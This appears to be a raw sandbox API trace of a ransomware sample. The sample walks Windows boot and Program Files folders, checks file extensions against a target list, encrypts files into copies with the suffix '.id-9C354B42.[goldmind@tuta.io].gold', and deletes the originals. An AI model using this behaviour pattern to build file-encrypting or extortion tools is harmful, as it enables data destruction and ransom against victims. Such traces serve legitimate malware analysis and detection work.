lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.248] lstrlenW (lpString=".dbf") returned 4 [0087.248] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.248] lstrlenW (lpString=".1cd") returned 4 [0087.248] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.248] lstrlenW (lpString=".jpg") returned 4 [0087.248] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.248] lstrlenW (lpString=".doc") returned 4 [0087.248] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.248] lstrlenW (lpString=".docx") returned 5 [0087.248] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.248] lstrlenW (lpString=".pdf") returned 4 [0087.248] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.248] lstrlenW (lpString=".xls") returned 4 [0087.248] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.248] lstrlenW (lpString=".xlsx") returned 5 [0087.248] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.248] lstrlenW (lpString=".ppt") returned 4 [0087.248] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.249] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.249] lstrlenW (lpString=".zip") returned 4 [0087.249] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.249] lstrlenW (lpString=".rar") returned 4 [0087.249] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.249] lstrlenW (lpString=".bz2") returned 4 [0087.249] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.249] lstrlenW (lpString=".7z") returned 3 [0087.249] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.249] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.249] lstrlenW (lpString=".dbf") returned 4 [0087.249] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.249] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.249] lstrlenW (lpString=".1cd") returned 4 [0087.249] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.249] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.249] lstrlenW (lpString=".jpg") returned 4 [0087.249] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.249] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.249] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0087.249] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0087.249] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=87616) returned 1 [0087.249] CloseHandle (hObject=0x1a0) returned 1 [0087.249] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0087.249] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.249] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.249] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString=".doc") returned 4 [0087.250] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.250] lstrlenW (lpString=".docx") returned 5 [0087.250] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.250] lstrlenW (lpString=".pdf") returned 4 [0087.250] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".xls") returned 4 [0087.250] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".xlsx") returned 5 [0087.250] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.250] lstrlenW (lpString=".ppt") returned 4 [0087.250] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString=".zip") returned 4 [0087.250] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".rar") returned 4 [0087.250] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".bz2") returned 4 [0087.250] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.250] lstrlenW (lpString=".7z") returned 3 [0087.250] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString=".dbf") returned 4 [0087.250] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString=".1cd") returned 4 [0087.250] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString=".jpg") returned 4 [0087.250] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString=".doc") returned 4 [0087.250] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.250] lstrlenW (lpString=".docx") returned 5 [0087.250] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.250] lstrlenW (lpString=".pdf") returned 4 [0087.250] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".xls") returned 4 [0087.250] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".xlsx") returned 5 [0087.250] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.250] lstrlenW (lpString=".ppt") returned 4 [0087.250] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.250] lstrlenW (lpString=".zip") returned 4 [0087.250] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".rar") returned 4 [0087.250] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.250] lstrlenW (lpString=".bz2") returned 4 [0087.250] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.250] lstrlenW (lpString=".7z") returned 3 [0087.250] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.251] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.251] lstrlenW (lpString=".dbf") returned 4 [0087.251] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.251] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.251] lstrlenW (lpString=".1cd") returned 4 [0087.251] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.251] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0087.251] lstrlenW (lpString=".jpg") returned 4 [0087.251] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.251] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.251] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0087.251] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0087.251] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=91712) returned 1 [0087.251] CloseHandle (hObject=0x1a0) returned 1 [0087.251] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0087.251] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.251] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.251] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.251] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.251] lstrlenW (lpString=".doc") returned 4 [0087.251] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.251] lstrlenW (lpString=".docx") returned 5 [0087.252] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.252] lstrlenW (lpString=".pdf") returned 4 [0087.252] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString=".xls") returned 4 [0087.252] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString=".xlsx") returned 5 [0087.252] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.252] lstrlenW (lpString=".ppt") returned 4 [0087.252] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.252] lstrlenW (lpString=".zip") returned 4 [0087.252] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString=".rar") returned 4 [0087.252] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString=".bz2") returned 4 [0087.252] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.252] lstrlenW (lpString=".7z") returned 3 [0087.252] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.252] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.252] lstrlenW (lpString=".dbf") returned 4 [0087.252] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.252] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.252] lstrlenW (lpString=".1cd") returned 4 [0087.252] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.252] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.252] lstrlenW (lpString=".jpg") returned 4 [0087.252] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.252] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.252] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.252] lstrlenW (lpString=".doc") returned 4 [0087.252] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.252] lstrlenW (lpString=".docx") returned 5 [0087.252] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.252] lstrlenW (lpString=".pdf") returned 4 [0087.252] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString=".xls") returned 4 [0087.252] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString=".xlsx") returned 5 [0087.252] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.252] lstrlenW (lpString=".ppt") returned 4 [0087.252] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.252] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.252] lstrlenW (lpString=".zip") returned 4 [0087.252] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.253] lstrlenW (lpString=".rar") returned 4 [0087.253] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.253] lstrlenW (lpString=".bz2") returned 4 [0087.253] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.253] lstrlenW (lpString=".7z") returned 3 [0087.253] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.253] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.253] lstrlenW (lpString=".dbf") returned 4 [0087.253] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.253] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.253] lstrlenW (lpString=".1cd") returned 4 [0087.253] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.253] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0087.253] lstrlenW (lpString=".jpg") returned 4 [0087.253] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.253] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.253] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0087.253] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0087.253] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=94800) returned 1 [0087.253] CloseHandle (hObject=0x1a0) returned 1 [0087.253] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0087.253] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.253] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.254] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0087.254] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0087.254] lstrlenW (lpString=".doc") returned 4 [0087.254] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.254] lstrlenW (lpString=".docx") returned 5 [0087.254] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.254] lstrlenW (lpString=".pdf") returned 4 [0087.254] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.254] lstrlenW (lpString=".xls") returned 4 [0087.254] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.254] lstrlenW (lpString=".xlsx") returned 5 [0087.254] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.254] lstrlenW (lpString=".ppt") returned 4 [0087.254] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.254] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0087.254] lstrlenW (lpString=".zip") returned 4 [0087.254] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.254] lstrlenW (lpString=".rar") returned 4 [0087.254] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.254] lstrlenW (lpString=".bz2") returned 4 [0087.254] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.254] lstrlenW (lpString=".7z") returned 3 [0087.254] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.255] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0087.259] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0087.259] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0087.259] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0087.534] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=193024) returned 1 [0087.534] CloseHandle (hObject=0x230) returned 1 [0087.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0087.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.614] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.620] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.620] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.621] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.621] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.821] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.822] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0089.898] GetLastError () returned 0x0 [0089.898] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0089.937] WriteFile (in: hFile=0x19c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0089.946] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.946] WriteFile (in: hFile=0x19c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0089.946] SetEndOfFile (hFile=0x19c) returned 1 [0089.946] CloseHandle (hObject=0x19c) returned 1 [0089.947] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.947] SetEndOfFile (hFile=0x38c) returned 1 [0090.147] CloseHandle (hObject=0x38c) returned 1 [0090.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0090.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0090.219] lstrlenW (lpString=".doc") returned 4 [0090.220] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString=".docx") returned 5 [0090.220] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0090.220] lstrlenW (lpString=".pdf") returned 4 [0090.220] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0090.220] lstrlenW (lpString=".xls") returned 4 [0090.220] lstrcmpiW (lpString1=".xls", 